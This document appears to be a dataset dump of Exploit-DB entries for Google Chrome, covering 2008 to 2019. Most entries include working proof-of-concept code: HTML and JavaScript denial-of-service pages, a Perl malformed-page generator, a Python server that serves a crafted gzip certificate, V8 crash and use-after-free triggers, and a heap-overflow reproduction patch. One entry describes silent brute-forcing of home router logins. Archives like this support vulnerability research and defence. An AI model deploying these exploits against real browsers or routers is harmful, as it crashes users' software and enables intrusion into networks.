deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38420
Description: Google Chrome - Cookie Verification Denial of Service
Type: dos
Platform: multiple
Date: 2013-04-04
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/58857/info

Google Chrome is prone to a denial-of-service vulnerability because it fails to verify the user supplied input.

Successfully exploiting this issue will allow an attacker to inject special characters into the browser's local cookie storage, resulting in the requested website always responding with an error message which is hosted on specific web server software (like lighttpd). This will cause a denial-of-service condition.

Chromium 25.0.1364.160 is vulnerable; other versions may also be affected.

Note: The content related to Mozilla Firefox Browser has been moved to BID 62969 (Mozilla Firefox Browser Cookie Verification Denial of Service Vulnerability) for better documentation. 

http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st
Exploit-DB #18025
Description: Google Chrome - Denial of Service
Type: dos
Platform: multiple
Date: 2011-10-23
Author: Prashant Uniyal

Exploit:
/* 

         GGGGGG\                                                   
	GG  __GG\                                                  
	GG /  \__| aaaaaa\   rrrrrr\  aaaaaa\   gggggg\   eeeeee\  
	GG |GGGG\  \____aa\ rr  __rr\ \____aa\ gg  __gg\ ee  __ee\ 
	GG |\_GG | aaaaaaa |rr |  \__|aaaaaaa |gg /  gg |eeeeeeee |
	GG |  GG |aa  __aa |rr |     aa  __aa |gg |  gg |ee   ____|
	\GGGGGG  |\aaaaaaa |rr |     \aaaaaaa |\ggggggg |\eeeeeee\ 
 	 \______/  \_______|\__|      \_______| \____gg | \_______|
                                       	       gg\   gg |          
                                       		gggggg  | 

Info-sec forum: http://garage4hackers.com

[+] Google Chrome Denial Of Service (DoS)

[+] Author: Prashant a.k.a t3rm!n4t0r

[+] C0ntact: happyterminator@gmail.com

[+] Platform: Windows, *nix

[+] Tested on: Windows Server 2003, XP SP2, Ubuntu 10.04

[+] Special Greets to: "vinnu" and secfence team

[+] Greets to: fb1h2s, b0nd, Eby, punter,godwin austin, the_empty, RD(Xer0), warrior, abhaythehero,d3c0d3r 

                      all hackers garage crew :)


*/


<html>
<title>DoS</title>
<head>
<script>
function Lox()
 {
 
    var longunistring1 = unescape("%u4141%u4141");
    var longunistring2 = unescape("%u4242%u4242");
    var longunistring3 = unescape("%u4343%u4343");
    var longunistring4 = unescape("%u4444%u4444");
     
    for(i=0; i <= 100 ; ++i) 
 {
        longunistring1+=longunistring1;
        longunistring2+=longunistring2;
        longunistring3+=longunistring3;
        longunistring4+=longunistring4;
        document.write(longunistring1);
        document.write(longunistring2);
        document.write(longunistring3);
        document.write(longunistring4);
    }    
    document.write(longunistring1);
    document.write(longunistring2);
    document.write(longunistring3);
    document.write(longunistring4);
}
</script>
</head>
<body onLoad="Lox()">
</body>
</html>
Exploit-DB #42286
Description: Google Chrome - Out-of-Bounds Access in RegExp Stubs
Type: dos
Platform: multiple
Date: 2017-06-30
Author: Google Security Research

Exploit:
There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.

A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.

var re;
function f(){
	for(var i = 0; i < 100; i++){
		re["test" + i] = 0x77777777; // make a dict
	}
return 0;
}

re = /-/g;
var str = '2016-01-02';
re.lastIndex = {valueOf : f};
result = re.exec(str);

This PoC crashes on google-chrome-beta on Linux.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42286.zip
Exploit-DB #39039
Description: Google Chrome - Renderer Process to Browser Process Privilege Escalation
Type: dos
Platform: multiple
Date: 2015-12-18
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=664

There is an overflow in the ui::PlatformCursor WebCursor::GetPlatformCursor method. In src/content/common/cursors/webcursor_aurax11.cc&q=webcursor_aurax11.cc, there is the following code:

bitmap.allocN32Pixels(custom_size_.width(), custom_size_.height());
memcpy(bitmap.getAddr32(0, 0), custom_data_.data(), custom_data_.size());

The bitmap buffer is allocated based on the width and height of the custom_size_, but the memcpy is performed using the size of the custom_data_.

These values are set during WebCursor deserialization in src/content/common/cursors/webcursor.cc in WebCursor::Deserialize.

custom_size_ is set from two integers that a deserialized from a message and can be between 0 and 1024. custom_data_ is set from a vector that is deserialized, and can be any size, unrelated to the width and height. The custom_data_ is verified not to be smaller than the expected pixel buffer based on the width and height, but can be longer.

GetPlatformCursor is called indirectly by RenderWidgetHostImpl::OnSetCursor, which is called in response to a  ViewHostMsg_SetCursor message from the renderer.

The issue above is in the x11 implementation, but it appears also affect other platform-specific implementations other than the Windows one, which instead reads out of bounds.

I recommend this issue be fixed by changing the check in WebCursor::Deserialize:

if (size_x * size_y * 4 > data_len)
    return false;

to

if (size_x * size_y * 4 != data_len)
    return false;

to prevent the issue in all platform-specific implementations.
 
To reproduce the issue replace WebCursor::Serialize with:

bool WebCursor::Serialize(base::Pickle* pickle) const {

  if(type_ == WebCursorInfo::TypeCustom){
  LOG(WARNING) << "IN SERIALIZE\n";
  if (!pickle->WriteInt(type_) ||
      !pickle->WriteInt(hotspot_.x()) ||
      !pickle->WriteInt(hotspot_.y()) ||
      !pickle->WriteInt(2) ||
      !pickle->WriteInt(1) ||
      !pickle->WriteFloat(custom_scale_))
     return false;
   }else{

     if (!pickle->WriteInt(type_) ||
      !pickle->WriteInt(hotspot_.x()) ||
      !pickle->WriteInt(hotspot_.y()) ||
      !pickle->WriteInt(custom_size_.width()) ||
      !pickle->WriteInt(custom_size_.height()) ||
      !pickle->WriteFloat(custom_scale_))
    return false;

  }
  const char* data = NULL;
  if (!custom_data_.empty())
    data = &custom_data_[0];
  if (!pickle->WriteData(data, custom_data_.size()))
    return false;

  return SerializePlatformData(pickle);
}

and visit the attached html page, with the attached image in the same directory.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39039.zip
Exploit-DB #24486
Description: Google Chrome - Silent HTTP Authentication
Type: dos
Platform: multiple
Date: 2013-02-11
Author: T355

Exploit:
# Exploit Title: [Google Chrome Silent HTTP Authentication]
# Date: [2-5-2013]
# Exploit Author: [T355]
# Vendor Homepage: [http://www.google.com/chrome]
# Version: [24.0.1312.57]
# Tested on: [Tested on: Windows 7 & Mac OSX Mountain Lion]
# CVE : [n/a]

VULNERABILITY DETAILS
The latest version of Google Chrome (Tested on Version 24.0.1312.57)
fails to properly recognize HTTP Basic Authentication when injected in
various HTML tags. As a result of this behavior Chrome will not alert
the user when HTTP Basic Authentication is taking place or when
credentials are rejected. This behavior is particularly concerning
with respect to small office and home routers. Such devices are easily
brute forced using this method. Many of these devices have the default
password enabled which brings me to part II of this bug. Silent HTTP
Authentication allows the attacker to log into the router and change
settings with no alerts and or warnings issued by Chrome. The end
result allows an attacker to brute force the router login, connect to
the router, enable remote administration and of course control all
information on the entire network via DNS attacks etc.
REPRODUCTION CASE
I have attached the following files:

sploit.txt - Indicates the buggy code.
jquery.js - Used for real world scenario but not needed for bug.
brute.js - Real world attack scenario for this bug.
index.html - HTML Attack Page
attack.php - Payload file for Linksys Routers.

VERSION
Chrome Version: [24.0.1312.57]
Operating System: [Tested on: Windows 7 & Mac OSX Mountain Lion]

CREDIT
T355

IMPACT
The impact for this bug is enormous. Tens of millions of home routers
can easily be completely compromised. Distributed brute force attacks
can be performed on any HTTP Authentication portal.

RECOMMENDATIONS
Reference how Firefox and Safari handle the attached code.

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24486.tar.gz
Exploit-DB #32311
Description: Google Chrome 0.2.149 - Malformed 'title' Tag Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-09-02
Author: Exodus

Exploit:
source: https://www.securityfocus.com/bid/30975/info

Google Chrome is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input.

Attackers can exploit this issue to make the application unresponsive, denying service to legitimate users.

Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected.

NOTE: Reports indicate that this issue may not be exploitable as described and may depend on a particular WebKit configuration. 

<!-- Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit Exploit written by Exodus. http://www.blackhat.org.il http://www.blackhat.org.il/index.php/ready-set-chrome/ http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html --> <HTML> <HEAD> <TITLE> Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit</TITLE> <SCRIPT language="JavaScript"> function buff(len) { var buffer; for(var i = 0; i != len; i++) { buffer += 'E';} return buffer; } </SCRIPT> </HEAD> <SCRIPT> document.write('<body title=\"' + buff(31337) + '\">'); </SCRIPT> </BODY> </HTML>
Exploit-DB #32335
Description: Google Chrome 0.2.149 - Malformed 'view-source' HTTP Header Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-09-05
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/31035/info

Google Chrome is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted HTTP 'view-source' headers.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected. 

<script>
a = window.open("view-source:http://123")
a.alert(1)
</script>
Exploit-DB #10960
Description: Google Chrome 4.0.249.30 - Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2010-01-03
Author: anonymous

Exploit:
#!/usr/bin/perl
#google chrome 4.0.249.30 DoS PoC
#
#
#Author: Anonymous
#
#Info: In ordinary cases browser would redirect to "http://www.google.com" 
#but in this case browser will report error for something that should 
#be possible and is possible on other browsers.
#
#
#
#I would like to thank Jeremy Brown who made very nice fuzzer for browser
#
#
#
#
#
#
#
#Ipak lik nije tolika seljacina koliko sam mislio da je, jer mu pdf fuzzer malo suxa


$file="poc.html";
$poc='a/' x 10000000;
open(myfile,">>$file");
print myfile '<head><meta http-equiv="refresh" content="1; url=http://www.google.com"></head>';
print myfile "<body alink=";
print myfile $poc;
print myfile '">';
close(myfile);
print "Finished\n";
Exploit-DB #37766
Description: Google Chrome 43.0 - Certificate MIME Handling Integer Overflow
Type: dos
Platform: multiple
Date: 2015-08-13
Author: Paulos Yibelo

Exploit:
#!/usr/bin/python2

import socket
import sys
import time

kHost = '127.0.0.1'
kPort = 443

def bind_listen():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
  s.bind((kHost, kPort))
  s.listen(1)
  return s

def send_certificate(c, r):
  print '[*] sending certificate'
  payload = ''
  with open('compressed', 'rb') as tmp:
    payload = tmp.read()
  c.send('HTTP/1.1 200 OK\r\n')
  c.send('Content-Type: application/x-x509-user-cert\r\n')
  c.send('Content-Encoding: gzip\r\n')
  c.send('Content-Length: {}\r\n'.format(len(payload)))
  c.send('\r\n')
  c.send(payload)

def main():
  print '[*] listening for connection on port {}:{}'.format(kHost, kPort)
  s = bind_listen()
  while True:
    c, (host, port) = s.accept()
    print '[*] connection from {}:{}'.format(host, port)
    while True:
      r = c.recv(1024)
      if 'favicon' in r:
        c.send('HTTP/1.1 404 Not Found\r\n\r\n')
      else:
        send_certificate(c, r)
        time.sleep(20)
        sys.exit(0)

if __name__ == '__main__':
  main()

Thanks,
Paulos Yibelo
Exploit-DB #46735
Description: Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2019-04-22
Author: Bogdan Kurinnoy

Exploit:
<!--
# Exploit Title: Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-memory in invalid table size . Denial of Service (PoC)
# Google Dork: N/A
# Date: 2019-04-20
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
# Vendor Homepage: https://www.google.com/
# Version: Google Chrome 73.0.3683.103
# Tested on: Windows x64
# CVE : N/A

# Description:

# Fatal javascript OOM in invalid table size 

# https://bugs.chromium.org/p/chromium/issues/detail?id=918301
-->


<html>
<head>
<script>

var arr1 = [0,1];

function ObjCreate(make) {
  this.make = make;
}

var obj1 = new ObjCreate();

function main() {

	arr1.reduce(f3); 

	Object.getOwnPropertyDescriptors(Array(99).join(obj1.make));

}

function f3() {

	obj1["make"] = RegExp(Array(60000).join("CCC")); 
}

</script>
</head>
<body onload=main()></body>
</html>
Exploit-DB #47211
Description: Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability
Type: dos
Platform: multiple
Date: 2019-08-07
Author: Google Security Research

Exploit:
<!--
VULNERABILITY DETAILS
void PresentationAvailabilityState::UpdateAvailability(
    const KURL& url,
    mojom::blink::ScreenAvailability availability) {
[...]
  {
    // Set |iterating_listeners_| so we know not to allow modifications
    // to |availability_listeners_|.
    base::AutoReset<bool> iterating(&iterating_listeners_, true);
    for (auto& listener_ref : availability_listeners_) {
      auto* listener = listener_ref.get();
      if (!listener->urls.Contains<KURL>(url))
        continue;

      auto screen_availability = GetScreenAvailability(listener->urls);
      DCHECK(screen_availability != mojom::blink::ScreenAvailability::UNKNOWN);
      for (auto* observer : listener->availability_observers)
        observer->AvailabilityChanged(screen_availability); // ***1***
[...]

`PresentationAvailabilityObserver::AvailabilityChanged` might call a user-defined JS event handler,
which in turn might modify `availability_observers` and invalidate the `for` loop's iterator.

VERSION
Chromium 74.0.3729.0 (Developer Build) (64-bit)
Chromium 76.0.3789.0 (Developer Build) (64-bit)

REPRODUCTION CASE
Note that you need an extra display connected to your machine to reproduce the bug, otherwise
`UpdateAvailability` won't be called.
-->

<body>
<script>
frame = document.body.appendChild(document.createElement("iframe"));
request = new frame.contentWindow.PresentationRequest([location]);
request.getAvailability().then(availability => {
  availability.onchange = () => frame.remove();
});
</script>
</body>

<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero.
-->
Exploit-DB #16079
Description: Google Chrome 8.0.552.237 - replace Denial of Service
Type: dos
Platform: multiple
Date: 2011-01-30
Author: Carlos Mario Penagos Hollmann

Exploit:
<html>
<head>
 
 
# Exploit Title: Google Chrome v8.0.552.237 .replace DOS
# Date: January 30 2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://www.google.com/chrome
# Version: v8.0.552.237 
# Tested on: Windows xp sp3 ,windows 7 ,linux running on VMware Fusion 3.1 and VirtualBox 3.2.8
  
  
#  mail----> shogilord^gmail.com spams are welcome!!!!!
#    ________  _    _________   ____ __ _____   ________
#   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
#  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __
# / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ /
#/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/ 
  
# COLOMBIA hacking presents.............
#    
# Google Check the replace
#

 
<script type="text/javascript">
 
function mul(str,count){
    if(count==0) return '';
    var binaryCount = count.toString(2);
    var numDegree = binaryCount.length;
    var resultStr='';
    for(var i=0; i<numDegree; i++){
        resultStr+=resultStr; 
        if(binaryCount.charAt(i) == '1'){
            resultStr+=str;
        }
    }
    return resultStr;
}
 
var junka = "a";
 
var junk = mul(junka,2304453);
 
 
window.location.replace("http://" + junk);
 
</script>
</head>
<body>
 
</body>
</html>
Exploit-DB #46475
Description: Google Chrome < M72 - FileWriterImpl Use-After-Free
Type: dos
Platform: multiple
Date: 2019-03-01
Author: Google Security Research

Exploit:
There's a use-after-free in the implementation of the FileWriter component of the mojo bindings for the filesystem API.

The browser-process side of this API is defined in https://cs.chromium.org/chromium/src/third_party/blink/public/mojom/filesystem/file_writer.mojom?type=cs&sq=package:chromium&g=0

The method we are interested in is the Write method - this takes a parameter of type blink.mojom.Blob. The implementation of this method is as follows:

void FileWriterImpl::Write(uint64_t position,
                           blink::mojom::BlobPtr blob,
                           WriteCallback callback) {
  blob_context_->GetBlobDataFromBlobPtr(
      std::move(blob),
      base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
                     std::move(callback), position));
}

Note that the last argument to GetBlobDataFromBlobPtr is a callback object bound to base::Unretained(this).

And the implementation of GetBlobDataFromBlobPtr:

void BlobStorageContext::GetBlobDataFromBlobPtr(
    blink::mojom::BlobPtr blob,
    base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
  DCHECK(blob);
  blink::mojom::Blob* raw_blob = blob.get();
  raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
      base::BindOnce(
          [](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
             base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
             const std::string& uuid) {
            if (!context || uuid.empty()) {
              std::move(callback).Run(nullptr);
              return;
            }
            std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
          },
          std::move(blob), AsWeakPtr(), std::move(callback)),
      ""));
}

However, the call to GetInternalUUID is a mojo interface method; and if the renderer instead of providing a handle to a browser-process-hosted Blob object instead provides a handle to a renderer-hosted Blob implementation, then during this call into the renderer we can destroy the renderer handle to the FileWriter, triggering the immediate destruction of the FileWriterImpl. When the callback is then subsequently called after GetInternalUUID returns, the base::Unretained reference to the stale object will be used.


To reproduce you need a local build of chrome; run the attached script 

$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
$ python -m SimpleHTTPServer&
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/file_writer.html' 

Note that this is *not* a renderer bug; it's a browser process bug that's reachable from the renderer. The attached poc is using the MojoJS bindings to trigger the issue, but a compromised renderer could perform the same actions without any special settings.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46475.zip
Exploit-DB #46566
Description: Google Chrome < M73 - Data Race in ExtensionsGuestViewMessageFilter
Type: dos
Platform: multiple
Date: 2019-03-19
Author: Google Security Research

Exploit:
There appears to be a race condition in the destruction of the ExtensionsGuestViewMessageFilter if the ProcessIdToFilterMap is modified concurrently.

See the comment in the code:

ExtensionsGuestViewMessageFilter::~ExtensionsGuestViewMessageFilter() {
  DCHECK_CURRENTLY_ON(BrowserThread::IO);
  // This map is created and accessed on the UI thread. Remove the reference to
  // |this| here so that it will not be accessed again; but leave erasing the
  // key from the global map to UI thread to avoid races when accessing the
  // underlying data structure (https:/crbug.com/869791).
  (*GetProcessIdToFilterMap())[render_process_id_] = nullptr;
  base::PostTaskWithTraits(
      FROM_HERE, BrowserThread::UI,
      base::BindOnce(RemoveProcessIdFromGlobalMap, render_process_id_));
}

This comment doesn't describe behaviour that appears to be safe to me - there's no explicit mention of the safety of concurrent modification of base::flat_map; but it is noted that iterators are invalidated on insertion/erase, so as there is no further synchronisation, it doesn't appear that it is safe to read or write from this map if another thread may be concurrently modifying it.

This issue was detected by TSAN during fuzzing; but I don't think the behaviour is related to the fuzz case - it's just a dormant issue that was caught. I've attached the TSAN splat that resulted, but I don't have a reliable testcase to reproduce this issue.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

 Ah, you can reproduce this quite easily without even having a compromised renderer. Before I submitted the report to Chrome I thought I should try just spawning lots of renderers, and that repros fairly quickly - still the same (benign, I think) race that's occuring, but that's unsurprising since the renderers in this case aren't doing anything. The attached testcase triggers in < 5 min with a TSAN build.

The testcase assumes that the domains test0.com - test63.com all resolve to your local server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46566.zip